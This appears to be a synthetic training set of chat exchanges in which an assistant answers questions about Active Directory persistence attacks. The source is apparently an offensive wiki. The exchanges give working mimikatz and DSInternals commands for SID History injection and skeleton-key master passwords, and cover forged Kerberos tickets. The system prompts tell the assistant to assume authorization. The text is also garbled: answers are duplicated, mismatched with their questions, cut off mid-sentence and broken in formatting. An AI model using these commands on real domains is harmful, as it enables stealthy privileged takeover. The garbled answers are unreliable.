* Let service be an account in charge of various services indicated in its ServicePrincipalNames attribute, when one of service's Kerberos keys is known, a silver ticket attack can be conducted to keep privileged access to those managed services until that account's password is changed.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Silver, Golden, Diamond and Sapphire tickets are similar variants of forged Kerberos tickets, for different purposes and stealth levels, that can be used with pass-the-ticket to access services in an Active Directory domain.

* When one of krbtgt's Kerberos keys is known, a golden ticket (or diamond, or sapphire) attack can be conducted to keep privileged access until that account's password is changed.
* Let service be an account in charge of various services indicated in its ServicePrincipalNames attribute, when one of service's Kerberos keys is known, a silver ticket attack can be conducted to keep privileged access to those managed services until that account's password is changed.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Forged tickets?

[Assistant]
Silver, Golden, Diamond and Sapphire tickets are similar variants of forged Kerberos tickets, for different purposes and stealth levels, that can be used with pass-the-ticket to access services in an Active Directory domain.

* When one of krbtgt's Kerberos keys is known, a golden ticket (or diamond, or sapphire) attack can be conducted to keep privileged access until that account's password is changed.
* Let service be an account in charge of various services indicated in its ServicePrincipalNames attribute, when one of service's Kerberos keys is known, a silver ticket attack can be conducted to keep privileged access to those managed services until that account's password is changed.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Silver, Golden, Diamond and Sapphire tickets are similar variants of forged Kerberos tickets, for different purposes and stealth levels, that can be used with pass-the-ticket to access services in an Active Directory domain.

* When one of krbtgt's Kerberos keys is known, a golden ticket (or diamond, or sapphire) attack can be conducted to keep privileged access until that account's password is changed.
* Let service be an account in charge of various services indicated in its ServicePrincipalNames attribute, when one of service's Kerberos keys is known, a silver ticket attack can be conducted to keep privileged access to those managed services until that account's password is changed.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Shadow Principals (PAM) - Theory

[Assistant]
When a Bastion Forest is compromised, there are multiple ways to obtain persistence on the forest it manages (i.e. called "Production Forest" here).

1. Mark a low-privilege user from the Production Forest as an Shadow Security Principal in the Bastion Forest
2. Modify a Shadow Principal Object's DACL: add ACEs over a Shadow Principal Object (at least Read Members and Write Members) allowing a controlled user add and remove principals at will (in the member attribute.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Shadow Principals (PAM) - Theory

Response:
When a Bastion Forest is compromised, there are multiple ways to obtain persistence on the forest it manages (i.e. called "Production Forest" here).

1. Mark a low-privilege user from the Production Forest as an Shadow Security Principal in the Bastion Forest
2. Modify a Shadow Principal Object's DACL: add ACEs over a Shadow Principal Object (at least Read Members and Write Members) allowing a controlled user add and remove principals at will (in the member attribute.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Shadow Principals (PAM) - Theory during a pentest?

[Assistant]
When a Bastion Forest is compromised, there are multiple ways to obtain persistence on the forest it manages (i.e. called "Production Forest" here).

1. Mark a low-privilege user from the Production Forest as an Shadow Security Principal in the Bastion Forest
2. Modify a Shadow Principal Object's DACL: add ACEs over a Shadow Principal Object (at least Read Members and Write Members) allowing a controlled user add and remove principals at will (in the member attribute.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Shadow Principals (PAM) - Theory during a pentest?

Response:
When a Bastion Forest is compromised, there are multiple ways to obtain persistence on the forest it manages (i.e. called "Production Forest" here).

1. Mark a low-privilege user from the Production Forest as an Shadow Security Principal in the Bastion Forest
2. Modify a Shadow Principal Object's DACL: add ACEs over a Shadow Principal Object (at least Read Members and Write Members) allowing a controlled user add and remove principals at will (in the member attribute.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SID History - Practice

[Assistant]
> [!CAUTION]
> There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some operations on specific Windows processes' memory.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!CAUTION]
> There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some operations on specific Windows processes' memory.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SID History - Practice?

[Assistant]
> [!CAUTION]
> There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some operations on specific Windows processes' memory.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!CAUTION]
> There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some operations on specific Windows processes' memory.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of SID History - Pre-Windows 2016

[Assistant]
Modifying the SID History attribute of an object can be done using mimikatz, with the sid::patch, sid::add and sid::lookup commands.

Mimikatz cannot be used on 2016+ domain controllers for that purpose, due to an error with sid::patch (https://github.com/gentilkiwi/mimikatz/issues/348)

> [!WARNING]
> Mimikatz must be launched with at least enough privileges to perform the privilege::debug command (i.e. domain admin or SYSTEM).

```powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of SID History - Pre-Windows 2016

Response:
Modifying the SID History attribute of an object can be done using mimikatz, with the sid::patch, sid::add and sid::lookup commands.

Mimikatz cannot be used on 2016+ domain controllers for that purpose, due to an error with sid::patch (https://github.com/gentilkiwi/mimikatz/issues/348)

> [!WARNING]
> Mimikatz must be launched with at least enough privileges to perform the privilege::debug command (i.e. domain admin or SYSTEM).

```powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform SID History - Pre-Windows 2016?

[Assistant]
Modifying the SID History attribute of an object can be done using mimikatz, with the sid::patch, sid::add and sid::lookup commands.

Mimikatz cannot be used on 2016+ domain controllers for that purpose, due to an error with sid::patch (https://github.com/gentilkiwi/mimikatz/issues/348)

> [!WARNING]
> Mimikatz must be launched with at least enough privileges to perform the privilege::debug command (i.e. domain admin or SYSTEM).

```powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform SID History - Pre-Windows 2016?

Response:
Modifying the SID History attribute of an object can be done using mimikatz, with the sid::patch, sid::add and sid::lookup commands.

Mimikatz cannot be used on 2016+ domain controllers for that purpose, due to an error with sid::patch (https://github.com/gentilkiwi/mimikatz/issues/348)

> [!WARNING]
> Mimikatz must be launched with at least enough privileges to perform the privilege::debug command (i.e. domain admin or SYSTEM).

```powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Generic command

[Assistant] mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:UserRecievingTheSID /new:SIDOfTheTargetedUserOrGroup"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:UserRecievingTheSID /new:SIDOfTheTargetedUserOrGroup"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Generic command

[Assistant] mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:UserRecievingTheSID /new:SIDOfTheTargetedUserOrGroup"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:UserRecievingTheSID /new:SIDOfTheTargetedUserOrGroup"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Example 1 : Use this command to inject the SID of built-in administrator account to the SID-History attribute of AttackerUser

[Assistant] mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:Builtin\administrators "

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Example 1 : Use this command to inject the SID of built-in administrator account to the SID-History attribute of AttackerUser

Response: mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:Builtin\administrators "


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Example 1 : Use this command to inject the SID of built-in administrator account to the SID-History attribute of AttackerUser

[Assistant] mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:Builtin\administrators "

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Example 1 : Use this command to inject the SID of built-in administrator account to the SID-History attribute of AttackerUser

Response: mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:Builtin\administrators "


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Example 2 : Use sid::lookup to retrieve the SID of an account and inject it to the SID-History attribute of AttackerUser?

[Assistant]
mikikatz.exe "sid::lookup /name:InterestingUser"
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:SIDOfInterestingUser"
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Example 2 : Use sid::lookup to retrieve the SID of an account and inject it to the SID-History attribute of AttackerUser?

Response:
mikikatz.exe "sid::lookup /name:InterestingUser"
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:SIDOfInterestingUser"
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Example 2 : Use sid::lookup to retrieve the SID of an account and inject it to the SID-History attribute of AttackerUser

[Assistant]
mikikatz.exe "sid::lookup /name:InterestingUser"
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:SIDOfInterestingUser"
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Example 2 : Use sid::lookup to retrieve the SID of an account and inject it to the SID-History attribute of AttackerUser

Response:
mikikatz.exe "sid::lookup /name:InterestingUser"
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:SIDOfInterestingUser"
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SID History - Post-Windows 2016

[Assistant]
The only known way to add a SID to the SID History attribute of an account on a Windows domain controller 2016 and above is to use the Powershell module DSInternals. This method also works for Pre-Windows 2016 domain controllers.

> [!CAUTION]
> The NTDS service must be stopped at some point and restarted for this procedure to work, which can cause various issues. Proceed with care, avoid production systems.

It is necessary to re-enable the Add-ADDBSidHistory function, which has been disabled in version 4.15 of DSInternals:

```powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The only known way to add a SID to the SID History attribute of an account on a Windows domain controller 2016 and above is to use the Powershell module DSInternals. This method also works for Pre-Windows 2016 domain controllers.

> [!CAUTION]
> The NTDS service must be stopped at some point and restarted for this procedure to work, which can cause various issues. Proceed with care, avoid production systems.

It is necessary to re-enable the Add-ADDBSidHistory function, which has been disabled in version 4.15 of DSInternals:

```powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SID History - Post-Windows 2016

[Assistant]
The only known way to add a SID to the SID History attribute of an account on a Windows domain controller 2016 and above is to use the Powershell module DSInternals. This method also works for Pre-Windows 2016 domain controllers.

> [!CAUTION]
> The NTDS service must be stopped at some point and restarted for this procedure to work, which can cause various issues. Proceed with care, avoid production systems.

It is necessary to re-enable the Add-ADDBSidHistory function, which has been disabled in version 4.15 of DSInternals:

```powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SID History - Post-Windows 2016

Response:
The only known way to add a SID to the SID History attribute of an account on a Windows domain controller 2016 and above is to use the Powershell module DSInternals. This method also works for Pre-Windows 2016 domain controllers.

> [!CAUTION]
> The NTDS service must be stopped at some point and restarted for this procedure to work, which can cause various issues. Proceed with care, avoid production systems.

It is necessary to re-enable the Add-ADDBSidHistory function, which has been disabled in version 4.15 of DSInternals:

```powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Modify the file DSInternals.psd1

[Assistant] notepad.exe (Join-Path (Get-InstalledModule -Name DSInternals | Select-Object -ExpandProperty InstalledLocation) 'DSInternals.psd1')

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Modify the file DSInternals.psd1

Response: notepad.exe (Join-Path (Get-InstalledModule -Name DSInternals | Select-Object -ExpandProperty InstalledLocation) 'DSInternals.psd1')


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Modify the file DSInternals.psd1?

[Assistant] notepad.exe (Join-Path (Get-InstalledModule -Name DSInternals | Select-Object -ExpandProperty InstalledLocation) 'DSInternals.psd1')

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Modify the file DSInternals.psd1?

Response: notepad.exe (Join-Path (Get-InstalledModule -Name DSInternals | Select-Object -ExpandProperty InstalledLocation) 'DSInternals.psd1')


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

[Assistant]
``

Then, open a new PowerShell console:

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

Response:
``

Then, open a new PowerShell console:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

[Assistant]
``

Then, open a new PowerShell console:

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

Response:
``

Then, open a new PowerShell console:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

[Assistant] Then, open a new PowerShell console:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Then, open a new PowerShell console:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Then, open a new PowerShell console:`?

[Assistant] This command is used for then replace the line "# intentionally excluded: 'add-addbsidhistory'" with "'add-addbsidhistory'". Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Then, open a new PowerShell console:`?

Response: This command is used for then replace the line "# intentionally excluded: 'add-addbsidhistory'" with "'add-addbsidhistory'". Then replace the line "# Intentionally excluded: 'Add-ADDBSidHistory'" with "'Add-ADDBSidHistory'"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Inject the SID into the SID History attribute?

[Assistant] Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit -Force

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Inject the SID into the SID History attribute?

Response: Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit -Force


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Inject the SID into the SID History attribute?

[Assistant] Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit -Force

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Inject the SID into the SID History attribute?

Response: Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit -Force


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Skeleton key - Theory in the context of penetration testing

[Assistant]
Skeleton key is a persistence attack used to set a master password on one or multiple Domain Controllers. The master password can then be used to authenticate as any user in the domain while they can still authenticate with their original password. It makes detecting this attack a difficult task since it doesn't disturb day-to-day usage in the domain.

Skeleton key injects itself into the LSASS process of a Domain Controller to create the master password. It requires Domain Admin rights and SeDebugPrivilege on the target (which are given by default to domain admins).

> [!WARNING]
> Since this attack is conducted in memory by reserving a region of memory with VirtualAllocEx() and by patching functions, the master password doesn't remain active after a DC reboot.

This attack currently supports NTLM and Kerberos (RC4 only) authentications. Below are a few explanation of how it works depending on the authentication protocol it injects a master key for.

::: tabs

=== NTLM auth

The attack employs a three-steps process to create a master password for NTLM authentication.

1. Reserves a memory region using VirtualAllocEx() for the lsass.exe process. This memory space is used to store a modified version of the NTLM password validation function MsvpPasswordValidate().
2. Attaches itself to the lsass.exe process and locates MsvpSamValidate() (authentication function) from MSV1_0.dll (which is the DLL in charge of NTLM authentication).
3. Finds the call to MsvpPasswordValidate() (password validation function) in MsvpSamValidate() and patches it to make it point to the modified MsvpPasswordValidate() stored in the memory region from step 1.

When called, the modified version of MsvpPasswordValidate() first calls the original MsvpPasswordValidate(): therefore if a legitimate authentication is tried, it will succeed.

If the original MsvpPasswordValidate() fails, the modified version will call the originalMsvpPasswordValidate() again but will make it compare password hash su

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Skeleton key - Theory in the context of penetration testing

Response:
Skeleton key is a persistence attack used to set a master password on one or multiple Domain Controllers. The master password can then be used to authenticate as any user in the domain while they can still authenticate with their original password. It makes detecting this attack a difficult task since it doesn't disturb day-to-day usage in the domain.

Skeleton key injects itself into the LSASS process of a Domain Controller to create the master password. It requires Domain Admin rights and SeDebugPrivilege on the target (which are given by default to domain admins).

> [!WARNING]
> Since this attack is conducted in memory by reserving a region of memory with VirtualAllocEx() and by patching functions, the master password doesn't remain active after a DC reboot.

This attack currently supports NTLM and Kerberos (RC4 only) authentications. Below are a few explanation of how it works depending on the authentication protocol it injects a master key for.

::: tabs

=== NTLM auth

The attack employs a three-steps process to create a master password for NTLM authentication.

1. Reserves a memory region using VirtualAllocEx() for the lsass.exe process. This memory space is used to store a modified version of the NTLM password validation function MsvpPasswordValidate().
2. Attaches itself to the lsass.exe process and locates MsvpSamValidate() (authentication function) from MSV1_0.dll (which is the DLL in charge of NTLM authentication).
3. Finds the call to MsvpPasswordValidate() (password validation function) in MsvpSamValidate() and patches it to make it point to the modified MsvpPasswordValidate() stored in the memory region from step 1.

When called, the modified version of MsvpPasswordValidate() first calls the original MsvpPasswordValidate(): therefore if a legitimate authentication is tried, it will succeed.

If the original MsvpPasswordValidate() fails, the modified version will call the originalMsvpPasswordValidate() again but will make it compare password hash su


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Skeleton key - Theory

[Assistant]
Skeleton key is a persistence attack used to set a master password on one or multiple Domain Controllers. The master password can then be used to authenticate as any user in the domain while they can still authenticate with their original password. It makes detecting this attack a difficult task since it doesn't disturb day-to-day usage in the domain.

Skeleton key injects itself into the LSASS process of a Domain Controller to create the master password. It requires Domain Admin rights and SeDebugPrivilege on the target (which are given by default to domain admins).

> [!WARNING]
> Since this attack is conducted in memory by reserving a region of memory with VirtualAllocEx() and by patching functions, the master password doesn't remain active after a DC reboot.

This attack currently supports NTLM and Kerberos (RC4 only) authentications. Below are a few explanation of how it works depending on the authentication protocol it injects a master key for.

::: tabs

=== NTLM auth

The attack employs a three-steps process to create a master password for NTLM authentication.

1. Reserves a memory region using VirtualAllocEx() for the lsass.exe process. This memory space is used to store a modified version of the NTLM password validation function MsvpPasswordValidate().
2. Attaches itself to the lsass.exe process and locates MsvpSamValidate() (authentication function) from MSV1_0.dll (which is the DLL in charge of NTLM authentication).
3. Finds the call to MsvpPasswordValidate() (password validation function) in MsvpSamValidate() and patches it to make it point to the modified MsvpPasswordValidate() stored in the memory region from step 1.

When called, the modified version of MsvpPasswordValidate() first calls the original MsvpPasswordValidate(): therefore if a legitimate authentication is tried, it will succeed.

If the original MsvpPasswordValidate() fails, the modified version will call the originalMsvpPasswordValidate() again but will make it compare password hash su

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Skeleton key - Theory

Response:
Skeleton key is a persistence attack used to set a master password on one or multiple Domain Controllers. The master password can then be used to authenticate as any user in the domain while they can still authenticate with their original password. It makes detecting this attack a difficult task since it doesn't disturb day-to-day usage in the domain.

Skeleton key injects itself into the LSASS process of a Domain Controller to create the master password. It requires Domain Admin rights and SeDebugPrivilege on the target (which are given by default to domain admins).

> [!WARNING]
> Since this attack is conducted in memory by reserving a region of memory with VirtualAllocEx() and by patching functions, the master password doesn't remain active after a DC reboot.

This attack currently supports NTLM and Kerberos (RC4 only) authentications. Below are a few explanation of how it works depending on the authentication protocol it injects a master key for.

::: tabs

=== NTLM auth

The attack employs a three-steps process to create a master password for NTLM authentication.

1. Reserves a memory region using VirtualAllocEx() for the lsass.exe process. This memory space is used to store a modified version of the NTLM password validation function MsvpPasswordValidate().
2. Attaches itself to the lsass.exe process and locates MsvpSamValidate() (authentication function) from MSV1_0.dll (which is the DLL in charge of NTLM authentication).
3. Finds the call to MsvpPasswordValidate() (password validation function) in MsvpSamValidate() and patches it to make it point to the modified MsvpPasswordValidate() stored in the memory region from step 1.

When called, the modified version of MsvpPasswordValidate() first calls the original MsvpPasswordValidate(): therefore if a legitimate authentication is tried, it will succeed.

If the original MsvpPasswordValidate() fails, the modified version will call the originalMsvpPasswordValidate() again but will make it compare password hash su


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Skeleton key - Practice?

[Assistant]
Skeleton Key can be injected with the misc::skeleton command in Mimikatz. It works in every 64-bits Windows Server version up to 2019 (included).

Mimikatz must be either launched as NT-AUTHORITY\SYSTEM or be executed with a domain admin account on the Domain Controller. For the latter, debug privileges (SeDebugPrivilege) must be set for Mimikatz to work. This can be done with the privilege::debug command.

``bash
mimikatz "privilege::debug" "misc::skeleton"
`

> [!TIP]
> By default, the master password injected is mimikatz`.

![](./assets/mimikatz_skeleton_key_ws2019.png)

Skeleton key injection and usage illustration on a Windows Server 2019{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Skeleton key - Practice?

Response:
Skeleton Key can be injected with the misc::skeleton command in Mimikatz. It works in every 64-bits Windows Server version up to 2019 (included).

Mimikatz must be either launched as NT-AUTHORITY\SYSTEM or be executed with a domain admin account on the Domain Controller. For the latter, debug privileges (SeDebugPrivilege) must be set for Mimikatz to work. This can be done with the privilege::debug command.

``bash
mimikatz "privilege::debug" "misc::skeleton"
`

> [!TIP]
> By default, the master password injected is mimikatz`.

![](./assets/mimikatz_skeleton_key_ws2019.png)

Skeleton key injection and usage illustration on a Windows Server 2019{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Skeleton key - Practice during a pentest?

[Assistant]
Skeleton Key can be injected with the misc::skeleton command in Mimikatz. It works in every 64-bits Windows Server version up to 2019 (included).

Mimikatz must be either launched as NT-AUTHORITY\SYSTEM or be executed with a domain admin account on the Domain Controller. For the latter, debug privileges (SeDebugPrivilege) must be set for Mimikatz to work. This can be done with the privilege::debug command.

``bash
mimikatz "privilege::debug" "misc::skeleton"
`

> [!TIP]
> By default, the master password injected is mimikatz`.

![](./assets/mimikatz_skeleton_key_ws2019.png)

Skeleton key injection and usage illustration on a Windows Server 2019{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Skeleton key - Practice during a pentest?

Response:
Skeleton Key can be injected with the misc::skeleton command in Mimikatz. It works in every 64-bits Windows Server version up to 2019 (included).

Mimikatz must be either launched as NT-AUTHORITY\SYSTEM or be executed with a domain admin account on the Domain Controller. For the latter, debug privileges (SeDebugPrivilege) must be set for Mimikatz to work. This can be done with the privilege::debug command.

``bash
mimikatz "privilege::debug" "misc::skeleton"
`

> [!TIP]
> By default, the master password injected is mimikatz`.

![](./assets/mimikatz_skeleton_key_ws2019.png)

Skeleton key injection and usage illustration on a Windows Server 2019{.caption}


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use mimikatz for skeleton key - practice?

[Assistant] mimikatz "privilege::debug" "misc::skeleton"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use mimikatz for skeleton key - practice?

Response: mimikatz "privilege::debug" "misc::skeleton"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Skeleton key - Practice

[Assistant] mimikatz "privilege::debug" "misc::skeleton"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Skeleton key - Practice

Response: mimikatz "privilege::debug" "misc::skeleton"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

